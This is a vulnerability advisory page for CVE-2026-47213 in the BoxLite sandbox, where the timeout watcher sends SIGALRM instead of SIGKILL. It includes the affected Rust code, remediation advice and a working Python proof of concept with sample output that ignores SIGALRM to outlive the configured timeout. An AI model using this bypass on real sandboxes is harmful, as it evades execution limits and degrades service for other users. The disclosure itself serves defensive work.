Skip to main content

BoxLite CVE-2026-47213

MEDIUM
Improper Resource Shutdown or Release (CWE-404)
2026-05-29 https://github.com/boxlite-ai/boxlite GHSA-xjhv-pp2r-6f82
6.5
CVSS 3.1 · Vendor: https://github.com/boxlite-ai/boxlite
Share

Severity by source

Vendor (https://github.com/boxlite-ai/boxlite) PRIMARY
6.5 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Primary rating from Vendor (https://github.com/boxlite-ai/boxlite) · only source for this CVE.

CVSS VectorVendor: https://github.com/boxlite-ai/boxlite

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
May 29, 2026 - 22:17 vuln.today
Analysis Generated
May 29, 2026 - 22:17 vuln.today

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 1 pypi packages depend on boxlite (1 direct, 0 indirect)

Ecosystem-wide dependent count for version 0.8.2.

DescriptionCVE.org

Summary

BoxLite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and run OCI containers within them. BoxLite allows users to configure a timeout for services running inside the virtual machine. When the timeout is triggered, BoxLite sends a signal to kill the process. However, instead of using the uncatchable SIGKILL signal, BoxLite uses the catchable SIGALRM signal. Malicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service.

Details
  1. ExecRequest with timeout_ms arrives at Execution service

File: guest/src/service/exec/mod.rs Function: spawn_execution() (line 315) Code:

rust
// Step 3: Start timeout watcher (if requested)
if req.timeout_ms > 0 {
    timeout::start_timeout_watcher(
        state,
        execution_id.clone(),
        std::time::Duration::from_millis(req.timeout_ms),
    );
}

Issue: Any nonzero timeout_ms triggers the timeout watcher. The host expects this to kill the process after the specified duration.

  1. Timeout watcher sends SIGALRM instead of SIGKILL

File: guest/src/service/exec/timeout.rs Function: start_timeout_watcher() (line 13) Code:

rust
pub(super) fn start_timeout_watcher(
    exec_state: ExecutionState,
    exec_id: String,
    timeout: Duration,
) {
    tokio::spawn(async move {
        tokio::time::sleep(timeout).await;

        // Kill process with SIGKILL        ← comment says SIGKILL
        use nix::sys::signal::Signal;
        if exec_state.kill(Signal::SIGALRM).await {   // ← but sends SIGALRM
            info!(execution_id = %exec_id, "killed on timeout");
        }
    });
}

Issue: The comment on line 21 explicitly states "Kill process with SIGKILL", but line 23 sends Signal::SIGALRM. SIGALRM (signal 14) is the POSIX alarm signal and is catchable/ignorable; SIGKILL (signal 9) cannot be caught or ignored. This is a code error - wrong signal constant used.

  1. exec_state.kill() passes the signal through unchanged

File: guest/src/service/exec/state.rs Function: kill() (line 325) Code:

rust
pub async fn kill(&self, signal: nix::sys::signal::Signal) -> bool {
    let inner = self.inner.lock().await;
    if let Some(ref handle) = inner.handle {
        handle.kill(signal).is_ok()
    } else {
        false
    }
}

Issue: No override of the signal - the wrong signal (SIGALRM) is delivered directly to the process.

  1. ExecHandle.kill() delivers SIGALRM to the process

File: guest/src/service/exec/exec_handle.rs Function: kill() (line 335) Code:

rust
pub fn kill(&self, signal: Signal) -> BoxliteResult<()> {
    use nix::sys::signal::kill;
    kill(self.pid, signal).map_err(|e| {
        BoxliteError::Internal(format!(
            "Failed to send signal {} to process {}: {}",
            signal, self.pid, e
        ))
    })
}

Issue: Sends SIGALRM (signal 14) to the process. Any process that has registered a custom SIGALRM handler (e.g., via signal(SIGALRM, handler)) or set SIGALRM to SIG_IGN will not be terminated.

As seen from the code, the developer indicated in the comments that SIGKILL should be sent to kill the timed-out process, but SIGALRM was used in the implementation, resulting in the vulnerability.

PoC
  1. Install Boxlite following the official tutorial.
  2. Run the following Python script:
python
   #!/usr/bin/env python3
   """
   PoC: BoxLite Execution Timeout Bypass via SIGALRM

   Reproduces the vulnerability described in:
     "Hunt Report: Exec Timeout Enforcement Bypass via SIGALRM Misuse"

   Root cause:
     guest/src/service/exec/timeout.rs sends Signal::SIGALRM (signal 14,
     catchable/ignorable) instead of Signal::SIGKILL (signal 9, uncatchable).

   Exploitation:
     Any process that calls signal(SIGALRM, SIG_IGN) will survive past its
     configured timeout and run indefinitely.

   Usage:
     cd ~/Downloads/boxlite_poc
     source .venv/bin/activate
     python3 poc_sigalrm_bypass.py
   """

   import asyncio
   import time

   import boxlite
# -----------------------------------------------------------------------------
# Test programs (Python, so no gcc required)
# -----------------------------------------------------------------------------
# Control: no special signal handling - SIGALRM's default action is termination
   NORMAL_PROCESS = """
   import sys, time, os, signal
   seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8
   print(f"PID {os.getpid()}: normal process (default SIGALRM), running for {seconds}s", flush=True)
   for i in range(1, seconds + 1):
       time.sleep(1)
       print(f"PID {os.getpid()}: t+{i}s alive", flush=True)
   print(f"PID {os.getpid()}: finished", flush=True)
   """
# Exploit: installs SIG_IGN for SIGALRM - one line bypass
   IGNORE_SIGALRM = """
   import sys, time, os, signal
   seconds = int(sys.argv[1]) if len(sys.argv) > 1 else 8
   signal.signal(signal.SIGALRM, signal.SIG_IGN)
# <-- bypass
   print(f"PID {os.getpid()}: SIGALRM=SIG_IGN, running for {seconds}s", flush=True)
   for i in range(1, seconds + 1):
       time.sleep(1)
       if i > 3:
           print(f"PID {os.getpid()}: t+{i}s STILL ALIVE (PAST 3s TIMEOUT!)", flush=True)
       else:
           print(f"PID {os.getpid()}: t+{i}s alive", flush=True)
   print(f"PID {os.getpid()}: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED", flush=True)
   """

   TIMEOUT_S = 3.0
# configured timeout
   WORKLOAD_S = 8
# process wants to run for 8 seconds
# -----------------------------------------------------------------------------
# Helper
# -----------------------------------------------------------------------------

   async def run_test(box, name, script, timeout):
       print(f"\n{'=' * 70}")
       print(f"TEST: {name}")
       print(f"  timeout={timeout}s" if timeout else "  timeout=None (disabled)")
       print(f"{'=' * 70}")
       t0 = time.time()
       try:
           result = await box.exec("python3", "-c", script, str(WORKLOAD_S), timeout=timeout)
           elapsed = time.time() - t0
           print(f"  [RESULT] exit_code={result.exit_code}, elapsed={elapsed:.2f}s")
           print("  [OUTPUT]")
           for line in result.stdout.strip().splitlines():
               if line.strip():
                   print(f"    {line}")
           return {
               "elapsed": elapsed,
               "exit_code": result.exit_code,
               "timed_out": False,
               "stdout": result.stdout,
           }
       except boxlite.TimeoutError as e:
           elapsed = time.time() - t0
           print(f"  [TIMEOUT] BoxLite raised TimeoutError after {elapsed:.2f}s: {e}")
           return {"elapsed": elapsed, "exit_code": None, "timed_out": True, "stdout": ""}
       except Exception as e:
           elapsed = time.time() - t0
           print(f"  [ERROR] {type(e).__name__}: {e} (elapsed {elapsed:.2f}s)")
           return {"elapsed": elapsed, "exit_code": None, "timed_out": False, "stdout": ""}
# -----------------------------------------------------------------------------
# Main
# -----------------------------------------------------------------------------

   async def main():
       print("BoxLite PoC: Execution Timeout Bypass via SIGALRM")
       print("=" * 70)

       async with boxlite.SimpleBox(image="python:3-alpine") as box:
           print(f"Box started: {box.id}")
# Confirm SIGALRM = 14 inside the container
           r = await box.exec("python3", "-c", "import signal; print(signal.SIGALRM)")
           print(f"SIGALRM value inside container: {r.stdout.strip()}")
# --- Test 1: CONTROL ---
           r1 = await run_test(
               box,
               "CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)",
               NORMAL_PROCESS,
               TIMEOUT_S,
           )
           await asyncio.sleep(1)
# --- Test 2: EXPLOIT ---
           r2 = await run_test(
               box,
               "EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)",
               IGNORE_SIGALRM,
               TIMEOUT_S,
           )
           await asyncio.sleep(1)
# --- Test 3: BASELINE ---
           r3 = await run_test(
               box,
               "BASELINE: Normal process, no timeout (sanity check)",
               NORMAL_PROCESS,
               None,
           )
# --- Verdict ---
           print(f"\n{'=' * 70}")
           print("VERDICT")
           print(f"{'=' * 70}")
           print(f"  CONTROL:  elapsed={r1['elapsed']:.2f}s  exit_code={r1['exit_code']}  timed_out={r1['timed_out']}")
           print(f"  EXPLOIT:  elapsed={r2['elapsed']:.2f}s  exit_code={r2['exit_code']}  timed_out={r2['timed_out']}")
           print(f"  BASELINE: elapsed={r3['elapsed']:.2f}s  exit_code={r3['exit_code']}  timed_out={r3['timed_out']}")
# exit_code == -14 means killed by signal 14 (SIGALRM), not -9 (SIGKILL)
           control_killed_by_sigalrm = r1["exit_code"] == -14 and r1["elapsed"] < 5.0
           exploit_survived          = r2["elapsed"] > 5.0 and r2["exit_code"] == 0

           print()
           if control_killed_by_sigalrm:
               print("  [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)")
               print("      → confirms timeout watcher sends SIGALRM instead of SIGKILL")
           if exploit_survived:
               print(f"  [+] Exploit process ran {r2['elapsed']:.1f}s past {TIMEOUT_S}s timeout, exited normally")
               print("      → SIGALRM was absorbed by SIG_IGN, timeout completely bypassed")

           if exploit_survived and control_killed_by_sigalrm:
               print()
               print("  *** VULNERABILITY CONFIRMED ***")
               print(f"  Fix: change Signal::SIGALRM → Signal::SIGKILL in")
               print(f"       guest/src/service/exec/timeout.rs")
           elif not exploit_survived:
               print("  NOT CONFIRMED: exploit process was also terminated at timeout")
           else:
               print("  INCONCLUSIVE")


   if __name__ == "__main__":
       asyncio.run(main())

Sample output:

   $ python3 poc_sigalrm_bypass.py
   BoxLite PoC: Execution Timeout Bypass via SIGALRM
   ======================================================================
   Box started: W0oCKYIWga2t
   SIGALRM value inside container: 14

   ======================================================================
   TEST: CONTROL: Normal process + 3s timeout (default SIGALRM=terminate)
     timeout=3.0s
   ======================================================================
     [RESULT] exit_code=-14, elapsed=3.01s
     [OUTPUT]
       PID 3: normal process (default SIGALRM), running for 8s
       PID 3: t+1s alive
       PID 3: t+2s alive

   ======================================================================
   TEST: EXPLOIT: SIGALRM=SIG_IGN + 3s timeout (BYPASS)
     timeout=3.0s
   ======================================================================
     [RESULT] exit_code=0, elapsed=8.14s
     [OUTPUT]
       PID 4: SIGALRM=SIG_IGN, running for 8s
       PID 4: t+1s alive
       PID 4: t+2s alive
       PID 4: t+3s alive
       PID 4: t+4s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: t+5s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: t+6s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: t+7s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: t+8s STILL ALIVE (PAST 3s TIMEOUT!)
       PID 4: WORKLOAD COMPLETE - TIMEOUT WAS BYPASSED

   ======================================================================
   TEST: BASELINE: Normal process, no timeout (sanity check)
     timeout=None (disabled)
   ======================================================================
     [RESULT] exit_code=0, elapsed=8.09s
     [OUTPUT]
       PID 5: normal process (default SIGALRM), running for 8s
       PID 5: t+1s alive
       PID 5: t+2s alive
       PID 5: t+3s alive
       PID 5: t+4s alive
       PID 5: t+5s alive
       PID 5: t+6s alive
       PID 5: t+7s alive
       PID 5: t+8s alive
       PID 5: finished

   ======================================================================
   VERDICT
   ======================================================================
     CONTROL:  elapsed=3.01s  exit_code=-14  timed_out=False
     EXPLOIT:  elapsed=8.14s  exit_code=0  timed_out=False
     BASELINE: elapsed=8.09s  exit_code=0  timed_out=False

     [+] Control process killed by signal 14 (SIGALRM), not signal 9 (SIGKILL)
         → confirms timeout watcher sends SIGALRM instead of SIGKILL
     [+] Exploit process ran 8.1s past 3.0s timeout, exited normally
         → SIGALRM was absorbed by SIG_IGN, timeout completely bypassed

     *** VULNERABILITY CONFIRMED ***
     Fix: change Signal::SIGALRM → Signal::SIGKILL in
          guest/src/service/exec/timeout.rs

As shown in the output, after catching the SIGALRM signal, the process can continue running, bypassing the timeout restriction.

Impact

Malicious code running inside the sandbox can exploit this vulnerability to continue running after the timeout is triggered, leading to resource exhaustion within the virtual machine and affecting the availability of the BoxLite service.

Score

Severity: Medium, Score: 6.5, rationale as follows:

  • AV:N - Can be triggered by submitting code via the network API
  • AC:L - No complex exploitation required; catching the signal is sufficient to bypass
  • PR:L - The attacker does not need special privileges
  • UI:N - The attacker does not need to interact with the victim
  • S:U - This vulnerability only affects the sandbox internals and does not change the scope
  • C:N/I:N/A:H - This vulnerability only affects availability, not confidentiality or integrity
Credit

This vulnerability was discovered by:

  • XlabAI Team of Tencent Xuanwu Lab
  • Atuin Automated Vulnerability Discovery Engine

CVE and credit are preferred.

If there are any questions regarding the vulnerability details, please feel free to reach out to Tencent Xuanwu Lab for further discussion by emailing xlabai@tencent.com.

Note

Note that the organization follows the industry-standard 90+30 disclosure policy (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that the organization reserves the right to disclose the details of the vulnerability 30 days after the fix has been implemented.

AnalysisAI

Timeout enforcement in BoxLite sandbox service fails to kill processes because the implementation sends the catchable SIGALRM signal (signal 14) instead of the uncatchable SIGKILL signal (signal 9) in guest/src/service/exec/timeout.rs. All BoxLite versions up to and including 0.8.2 (pip/boxlite) are affected. A low-privileged attacker who can submit workloads to the BoxLite API can register a SIGALRM handler or set it to SIG_IGN with a single call, surviving past any configured execution timeout and exhausting VM resources to degrade availability for all BoxLite users. Publicly available exploit code exists in GitHub advisory GHSA-xjhv-pp2r-6f82; no patch has been released as of time of analysis.

Technical ContextAI

BoxLite is a Rust-based sandbox service distributed as a Python package (pip/boxlite, CPE pkg:pip/boxlite) that manages lightweight virtual machines and OCI containers for sandboxed code execution. The timeout enforcement path begins in guest/src/service/exec/mod.rs where spawn_execution() spawns a Tokio async watcher task for any ExecRequest with a nonzero timeout_ms. That watcher, defined in guest/src/service/exec/timeout.rs start_timeout_watcher(), sleeps for the configured duration and then calls exec_state.kill() - but passes Signal::SIGALRM (POSIX alarm signal, numeric 14) rather than Signal::SIGKILL (numeric 9). The developer comment on line 21 explicitly reads 'Kill process with SIGKILL', revealing this as a wrong-constant code error rather than a design decision. The signal traverses exec_state.kill() in state.rs and ExecHandle.kill() in exec_handle.rs without modification, ultimately delivered via the nix crate's kill() syscall wrapper. CWE-404 (Improper Resource Shutdown or Release) applies directly: SIGALRM is catchable and ignorable per POSIX, so any process that calls signal(SIGALRM, SIG_IGN) or installs a custom handler will not be terminated, leaving its allocated resources unclaimed.

RemediationAI

No vendor-released patch has been identified at time of analysis; the advisory CPE data confirms no fixed version exists for pip/boxlite. The minimal code fix is to replace Signal::SIGALRM with Signal::SIGKILL on line 23 of guest/src/service/exec/timeout.rs, which matches the developer's own comment and the intended behavior. Monitor the BoxLite GitHub repository at https://github.com/boxlite-ai/boxlite and the advisory at https://github.com/boxlite-ai/boxlite/security/advisories/GHSA-xjhv-pp2r-6f82 for a patched release. The advisory references a 90+30-day disclosure policy, suggesting a patch may be forthcoming. As compensating controls until a patch is available: restrict API access to the BoxLite execution endpoint to trusted users only, reducing the PR:L attack surface; enforce resource quotas (CPU time, memory) at the hypervisor or cgroup level independently of the application-level timeout, so that runaway processes are constrained even if the signal bypass succeeds - note this does not terminate the process but caps resource damage; and monitor VM resource utilization for anomalous long-running executions that exceed expected timeout windows. These controls reduce blast radius but do not eliminate the vulnerability.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Share

CVE-2026-47213 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy